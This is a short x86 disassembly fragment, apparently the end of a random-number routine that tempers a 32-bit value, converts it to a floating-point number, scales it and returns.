shr edx, 0x12
xor edx, eax
mov dword [ebp - 4], edx
fild dword [ebp - 4]
jns 0x44b372
fadd qword [0x48cd18]
fmul qword [0x48cd20]
or ch, ah
pop ebp
ret